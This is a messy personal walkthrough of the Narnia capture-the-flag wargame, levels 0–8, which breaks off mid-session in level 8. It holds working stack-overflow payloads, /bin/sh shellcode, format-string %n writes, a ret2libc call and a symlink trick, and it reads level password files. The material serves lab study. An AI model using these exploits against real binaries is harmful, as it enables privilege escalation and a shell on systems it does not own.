[ Narnia ]

/!\ NOTE: This Writeup is kind of messed up. Take this as a kind of my mindlog, so things might be unclear.

[level0]

{{{# narnia0@melinda:~$ python -c"print 'A'*20+ '\xef\xbe\xad\xde'" | /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­Þ val: 0xdeadbeef narnia0@melinda:~$ python -c"print 'A'*20+ '\xef\xbe\xad\xde'";id | /narnia/narnia0 AAAAAAAAAAAAAAAAAAAAï¾­Þ Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: uid=14000(narnia0) val: 0x41414141 WAY OFF!!!! narnia0@melinda:~$ (python -c"print 'A'*20+ '\xef\xbe\xad\xde'";cat) | /narnia/narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­Þ val: 0xdeadbeef ls id uid=14000(narnia0) gid=14000(narnia0) euid=14001(narnia1) groups=14001(narnia1),14000(narnia0) cat /etc/narnia_pass/narnia1 ef........ }}}


[level1]

In the Second level you have to inject some shellcode in to the envoriment varaible called EGG. Again i will use python to solve this level.

this Shellcode we use simply spawns a /bin/sh:

In this level it seems kind of wise if you check that the stack is executable:

narnia1@melinda:/narnia$ readelf -a narnia1 | grep GNU_STACK
  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4

narnia1@melinda:/narnia$ 
export EGG=$(python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"')
narnia1@melinda:/narnia$ ./narnia1 
Trying to execute EGG!
$ id
uid=14001(narnia1) gid=14001(narnia1) euid=14002(narnia2) groups=14002(narnia2),14001(narnia1)
$ cat /etc/narnia_pass/narnia2
nai....
$    


[level2]

!!!!!!!!!!!!!!!!!!!!!!!!! ATTENTION !!!!!!!!!!!!!!!!!!!!!!!
You have to create the coredump in /tmp also. But the exploit
has to be executed in the /narnia directory.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!

For level2 you have to export a environment variable like

SHELLCODE=`python -c'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

afaik:

Breakpoint 1, 0x08048469 in main ()
2: $eip = (void (*)()) 0x8048469 <main+12>
1: $eax = 4
(gdb) disassemble main
Dump of assembler code for function main:
   0x0804845d <+0>:     push   ebp
   0x0804845e <+1>:     mov    ebp,esp
   0x08048460 <+3>:     and    esp,0xfffffff0
   0x08048463 <+6>:     sub    esp,0x90
=> 0x08048469 <+12>:    cmp    DWORD PTR [ebp+0x8],0x1
   0x0804846d <+16>:    jne    0x8048490 <main+51>
   0x0804846f <+18>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048472 <+21>:    mov    eax,DWORD PTR [eax]
   0x08048474 <+23>:    mov    DWORD PTR [esp+0x4],eax
   0x08048478 <+27>:    mov    DWORD PTR [esp],0x8048560
   0x0804847f <+34>:    call   0x8048310 <printf@plt>
   0x08048484 <+39>:    mov    DWORD PTR [esp],0x1
   0x0804848b <+46>:    call   0x8048340 <exit@plt>
   0x08048490 <+51>:    mov    eax,DWORD PTR [ebp+0xc]
   0x08048493 <+54>:    add    eax,0x4
   0x08048496 <+57>:    mov    eax,DWORD PTR [eax]
   0x08048498 <+59>:    mov    DWORD PTR [esp+0x4],eax
   0x0804849c <+63>:    lea    eax,[esp+0x10]
   0x080484a0 <+67>:    mov    DWORD PTR [esp],eax
   0x080484a3 <+70>:    call   0x8048320 <strcpy@plt>
   0x080484a8 <+75>:    lea    eax,[esp+0x10]
   0x080484ac <+79>:    mov    DWORD PTR [esp+0x4],eax
   0x080484b0 <+83>:    mov    DWORD PTR [esp],0x8048574
   0x080484b7 <+90>:    call   0x8048310 <printf@plt>
   0x080484bc <+95>:    mov    eax,0x0  <-- this is where the breakpoint is set because here the overflow allready should have happend
   0x080484c1 <+100>:   leave  
   0x080484c2 <+101>:   ret    
(gdb) br *main+95
Breakpoint 3 at 0x80484bc

(gdb) n
Single stepping until exit from function main,
which has no line number information.

Breakpoint 3, 0x080484bc in main ()
2: $eip = (void (*)()) 0x80484bc <main+95>
1: $eax = 140
(gdb) x /50wx $esp
0xffffd5a0:     0x08048574      0xffffd5b0      0x00000000      0x00000000
0xffffd5b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd5f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd600:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd610:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd620:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd630:     0x41414141      0x41414141      0x41414141      0xf7e3ca00
0xffffd640:     0x00000002      0xffffd6d4      0xffffd6e0      0xf7feacea
0xffffd650:     0x00000002      0xffffd6d4      0xffffd674      0x08049768
0xffffd660:     0x0804821c      0xf7fca000
(gdb) i f
Stack level 0, frame at 0xffffd640:
 eip = 0x80484bc in main; saved eip = 0xf7e3ca00
 Arglist at 0xffffd638, args: 
 Locals at 0xffffd638, Previous frame's sp is 0xffffd640
 Saved registers:
  ebp at 0xffffd638, eip at 0xffffd63c

(gdb) p 0xffffd63c-0xffffd5b0 <-- calculate the offset needed to trigger the overflow
$1 = 140  <-- offset 

(gdb) x /5s $esp+0x250
(gdb) x /10s $esp+0x240                                                                                                                                   0xffffd810:     'A' <repeats 59 times>, "BBB"
0xffffd84f:     "XDG_SESSION_ID=543"
0xffffd862:     "SHELLCODE=\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\x89\\xc2\\xb0\\x0b\\xcd\\x80" <-- this is shellcode location
0xffffd8d1:     "SHELL=/bin/bash"
0xffffd8e1:     "TERM=screen"
0xffffd8ed:     "SSH_CLIENT=88.217.24.216 18716 22"
0xffffd90f:     "SSH_TTY=/dev/pts/29"
0xffffd923:     "LC_ALL=C"
0xffffd92c:     "USER=narnia2"

narnia2@melinda:/tmp/mylocal0$ /narnia/narnia2 $(python -c "print '\x41'*140 + '\xb7\xd8\xff\xff'") # 0xffffd8b7
$ cat /etc/narnia_pass/narnia3
va...
$ 


[level3]

narnia3@melinda:/tmp/newlocal0$ mkdir newlocal0
narnia3@melinda:/tmp/newlocal0$ cd newlocal0
narnia3@melinda:/tmp/newlocal0$ ln -s /etc/narnia_pass/narnia4 $(python -c "print '\x41'*32 + 'pass'")
narnia3@melinda:/tmp/newlocal0$ touch pass
narnia3@melinda:/tmp/newlocal0$ /narnia/narnia3 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApass                    
copied contents of AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAApass to a safer place... (pass)
narnia3@melinda:/tmp/newlocal0$ cat pass 
th......
ÿÖÿÿøûâ÷S_å÷Ê narnia3@melinda:/tmp/local_dirk$ 


[level4]

narnia4@melinda:/tmp/dirksdir$ gdb -q /narnia/narnia4
Reading symbols from /narnia/narnia4...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484ad <+0>:     push   ebp
   0x080484ae <+1>:     mov    ebp,esp
   0x080484b0 <+3>:     and    esp,0xfffffff0
   0x080484b3 <+6>:     sub    esp,0x120
   0x080484b9 <+12>:    mov    DWORD PTR [esp+0x11c],0x0
   0x080484c4 <+23>:    jmp    0x8048511 <main+100>
   0x080484c6 <+25>:    mov    eax,ds:0x80497e0
   0x080484cb <+30>:    mov    edx,DWORD PTR [esp+0x11c]
   0x080484d2 <+37>:    shl    edx,0x2
   0x080484d5 <+40>:    add    eax,edx
   0x080484d7 <+42>:    mov    eax,DWORD PTR [eax]
   0x080484d9 <+44>:    mov    DWORD PTR [esp],eax
   0x080484dc <+47>:    call   0x8048380 <strlen@plt>
   0x080484e1 <+52>:    mov    edx,DWORD PTR ds:0x80497e0
   0x080484e7 <+58>:    mov    ecx,DWORD PTR [esp+0x11c]
   0x080484ee <+65>:    shl    ecx,0x2
   0x080484f1 <+68>:    add    edx,ecx
   0x080484f3 <+70>:    mov    edx,DWORD PTR [edx]
   0x080484f5 <+72>:    mov    DWORD PTR [esp+0x8],eax
   0x080484f9 <+76>:    mov    DWORD PTR [esp+0x4],0x0
   0x08048501 <+84>:    mov    DWORD PTR [esp],edx
   0x08048504 <+87>:    call   0x80483a0 <memset@plt>
   0x08048509 <+92>:    add    DWORD PTR [esp+0x11c],0x1
   0x08048511 <+100>:   mov    eax,ds:0x80497e0
   0x08048516 <+105>:   mov    edx,DWORD PTR [esp+0x11c]
   0x0804851d <+112>:   shl    edx,0x2
   0x08048520 <+115>:   add    eax,edx
   0x08048522 <+117>:   mov    eax,DWORD PTR [eax]
   0x08048524 <+119>:   test   eax,eax
   0x08048526 <+121>:   jne    0x80484c6 <main+25>
   0x08048528 <+123>:   cmp    DWORD PTR [ebp+0x8],0x1
   0x0804852c <+127>:   jle    0x8048546 <main+153>
   0x0804852e <+129>:   mov    eax,DWORD PTR [ebp+0xc]
   0x08048531 <+132>:   add    eax,0x4
   0x08048534 <+135>:   mov    eax,DWORD PTR [eax]
   0x08048536 <+137>:   mov    DWORD PTR [esp+0x4],eax
   0x0804853a <+141>:   lea    eax,[esp+0x1c]
   0x0804853e <+145>:   mov    DWORD PTR [esp],eax
   0x08048541 <+148>:   call   0x8048360 <strcpy@plt>
   0x08048546 <+153>:   mov    eax,0x0
   0x0804854b <+158>:   leave  
   0x0804854c <+159>:   ret    
End of assembler dump.
(gdb) br *main
Breakpoint 1 at 0x80484ad
(gdb) br *main+159
Breakpoint 2 at 0x804854c
(gdb) r $(python -c 'print "\x41"*278') # do two steps to crash the app
(gdb) x /250wx $esp
0xffffd5c0:     0x00004141      0xffffd654      0xffffd660      0xf7feacea
0xffffd5d0:     0x00000002      0xffffd654      0xffffd5f4      0x080497cc
0xffffd5e0:     0x0804825c      0xf7fca000      0x00000000      0x00000000
0xffffd5f0:     0x00000000      0x7a87f748      0x42b83358      0x00000000

...snip...

0xffffd730:     0x0000000e      0x000036b4      0x00000017      0x00000000
0xffffd740:     0x00000019      0xffffd76b      0x0000001f      0xffffdfe2
0xffffd750:     0x0000000f      0xffffd77b      0x00000000      0x00000000
0xffffd760:     0x00000000      0x00000000      0xc2000000      0x3b9121ff
0xffffd770:     0x715bc296      0x0aba54fb      0x69bfc74a      0x00363836
0xffffd780:     0x00000000      0x00000000      0x2f000000      0x656d6167
0xffffd790:     0x616e2f73      0x61696e72      0x72616e2f      0x3461696e
0xffffd7a0:     0x41414100      0x41414141      0x41414141      0x41414141
0xffffd7b0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd7c0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd7d0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd7e0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd7f0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd800:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd810:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd820:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd830:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd840:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd850:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd860:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd870:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd880:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd890:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8a0:     0x41414141      0x41414141      0x41414141      0x41414141
0xffffd8b0:     0x41414141      0x00414141      0x00000000      0x00000000
0xffffd8c0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd8d0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd8e0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd8f0:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd900:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd910:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd920:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd930:     0x00000000      0x00000000      0x00000000      0x00000000

narnia4@melinda:/tmp/dirksdir$ python -c'print len("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")'
25

as we can see the shellcode is 25 bytes long. So we have to send 253 - 4 bytes for 
the return address which equals 249 bytes junk buffer.

python -c "print '\x90'* 247 + '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80' + '\xa0\xd7\xff\xff'"

$ cat /etc/narnia_pass/narnia5
fa......
$ 


[level5]

This looks like a formatstring attack (in the snprintf function).

gdb ./narnia5 AAAA%x%x%x%x%x

(gdb) br *main+44                                                                                                                                                                                                
Breakpoint 3 at 0x80484e9
(gdb) set disassembly-flavor intel
(gdb) disassemble main
Dump of assembler code for function main:
   0x080484bd <+0>:     push   ebp
   0x080484be <+1>:     mov    ebp,esp
        ... snip ...
   0x080484e6 <+41>:    mov    DWORD PTR [esp],eax
   0x080484e9 <+44>:    call   0x80483b0 <snprintf@plt>
=> 0x080484ee <+49>:    mov    BYTE PTR [esp+0x5b],0x0
   0x080484f3 <+54>:    mov    DWORD PTR [esp],0x8048610
   0x080484fa <+61>:    call   0x8048350 <printf@plt>
   0x080484ff <+66>:    mov    eax,DWORD PTR [esp+0x5c]
   0x08048503 <+70>:    cmp    eax,0x1f4
   0x08048508 <+75>:    jne    0x8048522 <main+101>
   0x0804850a <+77>:    mov    DWORD PTR [esp],0x8048631
        ... snip ...
   0x0804855a <+157>:   mov    DWORD PTR [esp+0x8],edx
   0x0804855e <+161>:   mov    DWORD PTR [esp+0x4],eax
   0x08048562 <+165>:   mov    DWORD PTR [esp],0x8048675
   0x08048569 <+172>:   call   0x8048350 <printf@plt>
   0x0804856e <+177>:   mov    eax,0x0
   0x08048573 <+182>:   leave  
   0x08048574 <+183>:   ret    
End of assembler dump.
        
(gdb) r AAAA%x%x%x%x%x%x%x%x%x
Starting program: /games/narnia/narnia5 AAAA%x%x%x%x%x%x

Breakpoint 4, 0x080484bd in main ()
(gdb) n
Single stepping until exit from function main,
which has no line number information.

Breakpoint 3, 0x080484e9 in main ()
(gdb) ni
0x080484ee in main ()
        
(gdb) x /50wx $esp
0xffffd660:     0xffffd67c      0x00000040      0xffffd8ac      0xf7eb75b6
0xffffd670:     0xffffffff      0xffffd69e      0xf7e2fbf8      0x41414141 <-- here we have the the A's
0xffffd680:     0x62653766      0x36623537      0x66666666      0x66666666
0xffffd690:     0x66666666      0x65393664      0x32653766      0x38666266
0xffffd6a0:     0x31343134      0x31343134      0x35363236      0x36363733
0xffffd6b0:     0xf7fca300      0xf7ffd000      0x0804858b      0x00000001 <-- here we have the i=1
0xffffd6c0:     0x08048580      0x00000000      0x00000000      0xf7e3ca63
0xffffd6d0:     0x00000002      0xffffd764      0xffffd770      0xf7feacea
0xffffd6e0:     0x00000002      0xffffd764      0xffffd704      0x08049878
0xffffd6f0:     0x0804823c      0xf7fca000      0x00000000      0x00000000
0xffffd700:     0x00000000      0x4fb9c325      0x77802735      0x00000000
0xffffd710:     0x00000000      0x00000000      0x00000002      0x080483c0
0xffffd720:     0x00000000      0xf7ff0500
(gdb)


------------------------- [ This part is to find out where the i is located] -------------------------        


narnia5@melinda:/narnia$ ltrace -s 500 ./narnia5 $(python -c"print '\xbc\xd6\xff\xff%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'")                                                                                    
__libc_start_main(0x80484bd, 2, 0xffffd764, 0x8048580 <unfinished ...>
snprintf("\274\326\377\377f7eb75b6.ffffffff.ffffd69e.f7e2fbf8.ffffd6bc.62653766.36623", 64, "\274\326\377\377%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x", 0xf7eb75b6, 0xffffffff, 0xffffd69e, 0xf7e2fbf8, 0xffffd6bc,
 0x62653766, 0x36623537, 0x6666662e) = 75
printf("Change i's value from 1 -> 500. ")                                                                                        = 32
puts("No way...let me give you a hint!"Change i's value from 1 -> 500. No way...let me give you a hint!
)                                                                                          = 33
strlen("\274\326\377\377f7eb75b6.ffffffff.ffffd69e.f7e2fbf8.ffffd6bc.62653766.36623")                                             = 63
printf("buffer : [%s] (%d)\n", "\274\326\377\377f7eb75b6.ffffffff.ffffd69e.f7e2fbf8.ffffd6bc.62653766.36623", 63buffer : [¼Öÿÿf7eb75b6.ffffffff.ffffd69e.f7e2fbf8.ffffd6bc.62653766.36623] (63)
)                 = 80
printf("i = %d (%p)\n", 1, 0xffffd6bci = 1 (0xffffd6bc)
)                                                                                            = 19
+++ exited (status 0) +++
narnia5@melinda:/narnia$ 


--------------------------------------------------
                
narnia5@melinda:/narnia$ ./narnia5 $(python -c"print '\xbc\xd6\xff\xff%08x.%08x.%08x.%08x.%08n.%08x.%08x.%08x'")
Change i's value from 1 -> 500. No way...let me give you a hint!
buffer : [¼Öÿÿf7eb75b6.ffffffff.ffffd69e.f7e2fbf8..62653766.36623537.6666] (63)
i = 40 (0xffffd6bc)

                                                                                        
narnia5@melinda:/narnia$ ./narnia5 $(python -c"print '\xbc\xd6\xff\xff%08x.%08x.%08x.%468x.%08n.%08x.%08x.%08x'")
Change i's value from 1 -> 500. GOOD
$ cat /etc/narnia_pass/narnia6
ne......


[level6]

Starting program: /games/narnia/narnia6 AAAABBBBCCCC DDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOO

Eip override at byte 36 makes

Breakpoint 1, 0x08048682 in main ()
(gdb) x /50wx $esp
0xffffd660:     0xffffd678      0xffffd88c      0x00000021      0x08048712
0xffffd670:     0x00000003      0xffffd734      0xffffd744      0xf7e5610d
0xffffd680:     0x41414141      0x42424242      0x43434343      0x00000000 <-- Buffer a
0xffffd690:     0x080486c0      0xf7fca000      0x00000000      0xf7e3ca63
0xffffd6a0:     0x00000003      0xffffd734      0xffffd744      0xf7feacea
0xffffd6b0:     0x00000003      0xffffd734      0xffffd6d4      0x08049978
0xffffd6c0:     0x08048290      0xf7fca000      0x00000000      0x00000000
0xffffd6d0:     0x00000000      0x18c787b7      0x20fe83a7      0x00000000
0xffffd6e0:     0x00000000      0x00000000      0x00000003      0x08048450
0xffffd6f0:     0x00000000      0xf7ff0500      0xf7e3c979      0xf7ffd000
0xffffd700:     0x00000003      0x08048450      0x00000000      0x08048471
0xffffd710:     0x08048559      0x00000003      0xffffd734      0x080486c0
0xffffd720:     0x08048730      0xf7feb180
(gdb) n
Single stepping until exit from function main,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x48484848 in ?? ()
(gdb) x /50wx $esp
0xffffd65c:     0x080486b4      0xffffd680      0xffffd88c      0x00000021
0xffffd66c:     0x08048712      0x00000003      0xffffd734      0x44444444
0xffffd67c:     0x45454545      0x46464646      0x47474747      0x48484848 <-- eip override
0xffffd68c:     0x49494949      0x4a4a4a4a      0x4b4b4b4b      0x4c4c4c4c
0xffffd69c:     0x4d4d4d4d      0x4e4e4e4e      0x4f4f4f4f      0xffffd700 <-- buffer end
0xffffd6ac:     0xf7feacea      0x00000003      0xffffd734      0xffffd6d4
0xffffd6bc:     0x08049978      0x08048290      0xf7fca000      0x00000000
0xffffd6cc:     0x00000000      0x00000000      0x18c787b7      0x20fe83a7
0xffffd6dc:     0x00000000      0x00000000      0x00000000      0x00000003
0xffffd6ec:     0x08048450      0x00000000      0xf7ff0500      0xf7e3c979
0xffffd6fc:     0xf7ffd000      0x00000003      0x08048450      0x00000000
0xffffd70c:     0x08048471      0x08048559      0x00000003      0xffffd734
0xffffd71c:     0x080486c0      0x08048730
(gdb) 
                

dirk@lazerbeam0: ~ $ python -c 'print len("\x90"*3 + "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")'
21 our shellcode would be 21bytes


python -c'print "\x5C\x6D\xFF\xFF" + \x90"*7 + "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80"'


find eip:

(gdb) info frame
Stack level 0, frame at 0xffffd660:
 eip = 0xdeadbeef; saved eip = 0x80486b4
 called by frame at 0xffffd6a0
 Arglist at 0xffffd658, args: 
 Locals at 0xffffd658, Previous frame's sp is 0xffffd660
 Saved registers:
  eip at 0xffffd65c <-- eip
(gdb) 

narnia6@melinda:/narnia$ ./narnia6 $(python -c'print "A"*8 + "\xD0\x2C\xE6\xF7"') $(python -c'print("B"*8 + "/bin/sh")')
$ cat /etc/narnia_pass/narnia7
ah.....
$ 


[level7]

   1 */
   2 #include <stdio.h>
   3 #include <stdlib.h>
   4 #include <string.h>
   5 #include <stdlib.h>
   6 #include <unistd.h>
   7 
   8 int goodfunction();
   9 int hackedfunction();
  10 
  11 int vuln(const char *format){
  12         char buffer[128];
  13         int (*ptrf)();
  14 
  15         memset(buffer, 0, sizeof(buffer));
  16         printf("goodfunction() = %p\n", goodfunction);
  17         printf("hackedfunction() = %p\n\n", hackedfunction);
  18 
  19         ptrf = goodfunction;
  20 
  21         printf("before : ptrf() = %p (%p)\n", ptrf, &ptrf);
  22         printf("I guess you want to come to the hackedfunction...\n");
  23         sleep(2);
  24 
  25         ptrf = goodfunction;
  26   
  27         snprintf(buffer, sizeof buffer, format);
  28 
  29         return ptrf();
  30 }
  31 
  32 int main(int argc, char **argv){
  33         if (argc <= 1){
  34                 fprintf(stderr, "Usage: %s <buffer>\n", argv[0]);
  35                 exit(-1);
  36         }
  37         exit(vuln(argv[1]));
  38 }
  39 
  40 int goodfunction(){
  41         printf("Welcome to the goodfunction, but i said the Hackedfunction..\n");
  42         fflush(stdout);
  43         
  44         return 0;
  45 }
  46 
  47 int hackedfunction(){
  48         printf("Way to go!!!!");
  49         fflush(stdout);
  50         system("/bin/sh");
  51 
  52         return 0;
  53 }

Dump of assembler code for function vuln:
   0x080485cd <+0>:     push   ebp
   0x080485ce <+1>:     mov    ebp,esp
   0x080485d0 <+3>:     sub    esp,0xa8
   0x080485d6 <+9>:     mov    DWORD PTR [esp+0x8],0x80
   0x080485de <+17>:    mov    DWORD PTR [esp+0x4],0x0
   0x080485e6 <+25>:    lea    eax,[ebp-0x88]
   0x080485ec <+31>:    mov    DWORD PTR [esp],eax
   0x080485ef <+34>:    call   0x80484b0 <memset@plt>
   0x080485f4 <+39>:    mov    DWORD PTR [esp+0x4],0x80486e0
   0x080485fc <+47>:    mov    DWORD PTR [esp],0x80487d0
   0x08048603 <+54>:    call   0x8048420 <printf@plt>
   0x08048608 <+59>:    mov    DWORD PTR [esp+0x4],0x8048706
   0x08048610 <+67>:    mov    DWORD PTR [esp],0x80487e5
   0x08048617 <+74>:    call   0x8048420 <printf@plt>
   0x0804861c <+79>:    mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048626 <+89>:    mov    eax,DWORD PTR [ebp-0x8c]
   0x0804862c <+95>:    lea    edx,[ebp-0x8c]
   0x08048632 <+101>:   mov    DWORD PTR [esp+0x8],edx
   0x08048636 <+105>:   mov    DWORD PTR [esp+0x4],eax
   0x0804863a <+109>:   mov    DWORD PTR [esp],0x80487fd
   0x08048641 <+116>:   call   0x8048420 <printf@plt>
   0x08048646 <+121>:   mov    DWORD PTR [esp],0x8048818
   0x0804864d <+128>:   call   0x8048450 <puts@plt>
   0x08048652 <+133>:   mov    DWORD PTR [esp],0x2
   0x08048659 <+140>:   call   0x8048440 <sleep@plt>
   0x0804865e <+145>:   mov    DWORD PTR [ebp-0x8c],0x80486e0
   0x08048668 <+155>:   mov    eax,DWORD PTR [ebp+0x8]
   0x0804866b <+158>:   mov    DWORD PTR [esp+0x8],eax
   0x0804866f <+162>:   mov    DWORD PTR [esp+0x4],0x80
   0x08048677 <+170>:   lea    eax,[ebp-0x88]
   0x0804867d <+176>:   mov    DWORD PTR [esp],eax
   0x08048680 <+179>:   call   0x80484c0 <snprintf@plt>
   0x08048685 <+184>:   mov    eax,DWORD PTR [ebp-0x8c]
   0x0804868b <+190>:   call   eax
   0x0804868d <+192>:   leave  
   0x0804868e <+193>:   ret    
End of assembler dump.
(gdb) 

How to find the offset for a fmtstr attack:

ltrace -s 500 ./narnia $(python -c "print 'AAAA' + '%08x.'*6 # guessed offset")

./narnia7 $(python -c "print 'AAAA' + '%08x.'*6")

ltrace -s 500 ./narnia7 $(python -c "print 'AAAABBBB'+'%08x.'*7") # for two parameters

lets watch the stack at runtime:

(gdb) set disassembly-flavor intel
(gdb) r $(python -c "print 'AAAA' + '%08x.'*6")                                                         
Starting program: /games/narnia/narnia7 $(python -c "print 'AAAA' + '%08x.'*6")
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd60c)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048685 in vuln ()
(gdb) x /50wx $esp
0xffffd5f0:     0xffffd610      0x00000080      0xffffd89d      0x08048238
0xffffd600:     0xffffd668      0xf7ffda94      0x00000000      0x080486e0
0xffffd610:     0x41414141      0x34303830      0x38333238      0x6666662e
0xffffd620:     0x36366466      0x37662e38      0x61646666      0x302e3439
0xffffd630:     0x30303030      0x2e303030      0x34303830      0x30653638
0xffffd640:     0x3431342e      0x34313431      0x00002e31      0x00000000
0xffffd650:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd660:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd670:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd680:     0x00000000      0x00000000      0x00000000      0x00000000
0xffffd690:     0x00000002      0xffffd754      0xffffd6b8      0x080486d8
0xffffd6a0:     0xffffd89d      0xf7ffd000      0x0804874b      0xf7fca000
0xffffd6b0:     0x08048740      0x00000000
(gdb) 


./narnia7 $(python -c "print 'AAAABBBB' + '%08x.'*7+'%n'")

the address of hacked function is 0x8048706 which is in decimal 134514376

./narnia7 $(python -c "print 'AAAA\xfc\xd5\xff\xff' + '%08x.'*5+'%134514438d%n'")


Starting program: /games/narnia/narnia7 $(python -c "print 'AAAA\xfc\xd5\xff\xff' + '%08x.'*5+'%134514385d%n'")
goodfunction() = 0x80486e0
hackedfunction() = 0x8048706

before : ptrf() = 0x80486e0 (0xffffd5fc)
I guess you want to come to the hackedfunction...

Breakpoint 1, 0x08048685 in vuln ()
1: x/50xw 0xffffd5fc
0xffffd5fc:     0x08048706      0x41414141      0xffffd5fc      0x34303830
0xffffd60c:     0x38333238      0x6666662e      0x35366466      0x37662e38
0xffffd61c:     0x61646666      0x302e3439      0x30303030      0x2e303030
0xffffd62c:     0x34303830      0x30653638      0x2020202e      0x20202020
0xffffd63c:     0x20202020      0x20202020      0x20202020      0x20202020
0xffffd64c:     0x20202020      0x20202020      0x20202020      0x20202020
0xffffd65c:     0x20202020      0x20202020      0x20202020      0x20202020
0xffffd66c:     0x20202020      0x20202020      0x20202020      0x20202020
0xffffd67c:     0x00202020      0x00000002      0xffffd744      0xffffd6a8
0xffffd68c:     0x080486d8      0xffffd891      0xf7ffd000      0x0804874b
0xffffd69c:     0xf7fca000      0x08048740      0x00000000      0x00000000
0xffffd6ac:     0xf7e3ca63      0x00000002      0xffffd744      0xffffd750
0xffffd6bc:     0xf7feacea      0x00000002
c
Way to go!!!$ cat /etc/narnia_pass/narnia8
mo.....
$


[level8]

   1 */
   2 #include <stdio.h>
   3 #include <stdlib.h>
   4 #include <string.h>
   5 // gcc's variable reordering fucked things up
   6 // to keep the level in its old style i am 
   7 // making "i" global unti i find a fix 
   8 // -morla 
   9 int i; 
  10 
  11 void func(char *b){
  12         char *blah=b;
  13         char bok[20];
  14         //int i=0;
  15         
  16         memset(bok, '\0', sizeof(bok));
  17         for(i=0; blah[i] != '\0'; i++)
  18                 bok[i]=blah[i];
  19 
  20         printf("%s\n",bok);
  21 }
  22 
  23 int main(int argc, char **argv){
  24         
  25         if(argc > 1)       
  26                 func(argv[1]);
  27         else    
  28         printf("%s argument\n", argv[0]);
  29 
  30         return 0;
  31 }

$(python -c "print '\x41'*20")

0xffffd898 / 0xffffd894 <- speicher adresse von blah

0xffffd668 <- hier liegen die argumente

0x080484cd <- sollte die ruecksprung addresse nach func sein

$(python -c'print("\x41"*20 + "B"*4)') <-- um Adresse von balh zu finden

$(python -c'print("\x41"*20 + "\xb0\xd8\xff\xff" + "\x41"*12 + "\x42"*4)') # Um ret zu testen

export SHELLCODE=$(python -c'print("\x90"*30 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")') <- shellcode

0xffffd890 <- teh shellcodezz


(gdb) r $(python -c'print("\x41"*20 + "\x42\xd8\xff\xff" + "\x41"*12 + "\x90\xd8\xff\xff")')
The program being debugged has been started already.
Start it from the beginning? (y or n) y
